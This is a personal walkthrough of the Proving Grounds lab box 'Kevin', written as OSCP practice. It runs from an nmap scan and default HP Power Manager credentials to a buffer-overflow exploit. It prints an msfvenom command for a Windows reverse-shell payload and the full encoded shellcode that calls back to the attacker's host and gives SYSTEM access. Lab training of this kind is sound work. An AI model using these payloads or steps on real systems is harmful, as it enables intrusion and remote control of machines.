Proving Grounds: Kevin
Below is my write up of the Proving Grounds box called Kevin. This is a windows box that was listed on the lainkusanagi OSCP Practice list. It was a full box where I got to use Default account credentials which ended up be nothing but I got to exploit a buffer overflow vulnerability on the HP service running on the machine.
nmap
root@kali# nmap -sCV -p- -T4 -oN nmap <IPADDRESS>
PORT STATE SERVICE VERSION
80/tcp open http GoAhead WebServer
| http-title: HP Power Manager
|_Requested resource was http://192.168.242.45/index.asp
|_http-server-header: GoAhead-Webs
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Ultimate N 7600 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=kevin
| Not valid before: 2026-03-09T16:10:24
|_Not valid after: 2026-09-08T16:10:24
| rdp-ntlm-info:
| Target_Name: KEVIN
| NetBIOS_Domain_Name: KEVIN
| NetBIOS_Computer_Name: KEVIN
| DNS_Domain_Name: kevin
| DNS_Computer_Name: kevin
| Product_Version: 6.1.7600
|_ System_Time: 2026-03-10T16:28:02+00:00
|_ssl-date: 2026-03-10T16:28:10+00:00; +1s from scanner time.
3573/tcp open tag-ups-1?
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
Service Info: Host: KEVIN; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows 7 Ultimate N 7600 (Windows 7 Ultimate N 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::-
| Computer name: kevin
| NetBIOS computer name: KEVIN\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2026-03-10T09:28:02-07:00
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
|_clock-skew: mean: 1h24m01s, deviation: 3h07m50s, median: 0s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2026-03-10T16:28:02
|_ start_date: 2026-03-10T16:10:56
|_nbstat: NetBIOS name: KEVIN, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:86:ba:72 (VMware)
As you can see there are a couple open services, the One that catches my eye is the HP Power Manager on port 80.
whatweb
whatweb http://192.168.242.45/index.asp
http://192.168.242.45/index.asp [200 OK] ASP_NET, Country[RESERVED][ZZ], GoAhead-Webs, HTTPServer[GoAhead-Webs], IP[192.168.242.45], PasswordField[Password], Script[text/javascript], Title[HP Power Manager]
website
When we go to the website we are greeted so kindly with a login page. It looks like the name of this website is HP Power Manager.
Now that we have a name it’s worth searching for default credentials.
Oh great!
After putting those bad boys in we have access to the website. However, after poking around I realized that there was really no foothold on the website. However it did give us closer look into what the next step was…
Look on searchsploit for this:
I’m a big fan of Python scripts, so I decided to choose the 3rd one.
exploit
After reviewing the code for the 10099 exploit I found that it is a buffer overflow into a reverse shell. I love reverse shells…
Anyways in all seriousness it looks like this exploit was designed for Windows XP. However, the machine we are working on is Windows 7, given away by the fact that the build is build 7. Will have to modify the shell code as seen at the bottom of that picture.
This took the most amount of research out of everything.
msfvenom
msfvenom - makes writing payloads for exploiting vulnerabilities easy
-p - the option of file type I am writing
windows/shell_tcp_reverse - inline, non-staged payload for a reverse shell
-b - the buffer option, this is where the bad-chars will go. This option is for buffers that have to have specific characters
-e - encoding, as shown above it must be mixed alphanumeric
-f - file output
msfvenom -p windows/shell_reverse_tcp -b "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a" LHOST=<MY IP> LPORT=4444 -e x86/alpha_mixed -f c
The output of this is shown below
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 710 (iteration=0)
x86/alpha_mixed chosen with final size 710
Payload size: 710 bytes
Final size of c file: 3017 bytes
unsigned char buf[] =
"\x89\xe6\xd9\xec\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51"
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32"
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
"\x42\x75\x4a\x49\x49\x6c\x4b\x58\x4e\x62\x37\x70\x35\x50"
"\x75\x50\x75\x30\x6f\x79\x7a\x45\x35\x61\x59\x50\x51\x74"
"\x4c\x4b\x62\x70\x34\x70\x6e\x6b\x53\x62\x54\x4c\x6c\x4b"
"\x30\x52\x37\x64\x6c\x4b\x70\x72\x64\x68\x66\x6f\x68\x37"
"\x32\x6a\x55\x76\x76\x51\x49\x6f\x4e\x4c\x45\x6c\x75\x31"
"\x31\x6c\x65\x52\x44\x6c\x61\x30\x4b\x71\x4a\x6f\x46\x6d"
"\x76\x61\x5a\x67\x6b\x52\x49\x62\x52\x72\x46\x37\x4c\x4b"
"\x46\x32\x76\x70\x6c\x4b\x63\x7a\x47\x4c\x4e\x6b\x42\x6c"
"\x62\x31\x63\x48\x4a\x43\x47\x38\x55\x51\x48\x51\x46\x31"
"\x6c\x4b\x72\x79\x47\x50\x35\x51\x6b\x63\x4c\x4b\x43\x79"
"\x52\x38\x4b\x53\x77\x4a\x67\x39\x4e\x6b\x46\x54\x4e\x6b"
"\x45\x51\x58\x56\x55\x61\x79\x6f\x6e\x4c\x49\x51\x68\x4f"
"\x44\x4d\x55\x51\x6a\x67\x34\x78\x79\x70\x31\x65\x5a\x56"
"\x73\x33\x53\x4d\x58\x78\x37\x4b\x33\x4d\x66\x44\x34\x35"
"\x79\x74\x42\x78\x4c\x4b\x76\x38\x56\x44\x36\x61\x6b\x63"
"\x72\x46\x6c\x4b\x44\x4c\x42\x6b\x4e\x6b\x62\x78\x45\x4c"
"\x66\x61\x48\x53\x6e\x6b\x57\x74\x6c\x4b\x47\x71\x38\x50"
"\x4c\x49\x57\x34\x44\x64\x51\x34\x53\x6b\x53\x6b\x55\x31"
"\x62\x79\x70\x5a\x53\x61\x69\x6f\x6d\x30\x61\x4f\x43\x6f"
"\x32\x7a\x6e\x6b\x76\x72\x68\x6b\x6c\x4d\x43\x6d\x33\x58"
"\x76\x53\x50\x32\x37\x70\x43\x30\x50\x68\x52\x57\x33\x43"
"\x75\x62\x73\x6f\x66\x34\x31\x78\x42\x6c\x33\x47\x61\x36"
"\x73\x37\x79\x6f\x69\x45\x78\x38\x6e\x70\x56\x61\x75\x50"
"\x77\x70\x31\x39\x69\x54\x73\x64\x42\x70\x72\x48\x76\x49"
"\x4f\x70\x50\x6b\x53\x30\x69\x6f\x5a\x75\x36\x30\x62\x70"
"\x76\x30\x56\x30\x67\x30\x42\x70\x31\x50\x76\x30\x30\x68"
"\x6a\x4a\x56\x6f\x69\x4f\x69\x70\x4b\x4f\x4a\x75\x6f\x67"
"\x72\x4a\x45\x55\x33\x58\x79\x50\x39\x38\x64\x6d\x4b\x5a"
"\x61\x78\x45\x52\x77\x70\x64\x51\x31\x4c\x6d\x59\x49\x76"
"\x70\x6a\x46\x70\x63\x66\x30\x57\x63\x58\x6c\x59\x39\x35"
"\x61\x64\x35\x31\x4b\x4f\x68\x55\x4d\x55\x59\x50\x70\x74"
"\x66\x6c\x69\x6f\x52\x6e\x57\x78\x72\x55\x6a\x4c\x73\x58"
"\x68\x70\x6c\x75\x6f\x52\x56\x36\x39\x6f\x59\x45\x52\x48"
"\x61\x73\x52\x4d\x52\x44\x37\x70\x4c\x49\x4d\x33\x51\x47"
"\x66\x37\x52\x77\x65\x61\x6b\x46\x50\x6a\x67\x62\x42\x79"
"\x62\x76\x58\x62\x4b\x4d\x62\x46\x4a\x67\x61\x54\x57\x54"
"\x65\x6c\x76\x61\x67\x71\x6c\x4d\x42\x64\x51\x34\x32\x30"
"\x5a\x66\x67\x70\x71\x54\x63\x64\x32\x70\x32\x76\x61\x46"
"\x36\x36\x63\x76\x36\x36\x70\x4e\x52\x76\x71\x46\x66\x33"
"\x63\x66\x33\x58\x54\x39\x38\x4c\x37\x4f\x4b\x36\x79\x6f"
"\x48\x55\x4d\x59\x6b\x50\x30\x4e\x76\x36\x47\x36\x39\x6f"
"\x64\x70\x51\x78\x57\x78\x6e\x67\x35\x4d\x53\x50\x39\x6f"
"\x39\x45\x6d\x6b\x5a\x50\x38\x35\x59\x32\x32\x76\x31\x78"
"\x69\x36\x6f\x65\x6f\x4d\x4d\x4d\x6b\x4f\x38\x55\x35\x6c"
"\x63\x36\x61\x6c\x64\x4a\x6f\x70\x59\x6b\x6d\x30\x63\x45"
"\x45\x55\x6d\x6b\x67\x37\x45\x43\x51\x62\x30\x6f\x31\x7a"
"\x47\x70\x30\x53\x6b\x4f\x59\x45\x41\x41";
Splendid, now we paste that into the exploit and run it.
Freaking awesome sauce.
After navigating throughout the file system I was able to find the proof flag, the reason this was so easy is because I was able to get the reverse shell as NTAuthority/system.
One more down :D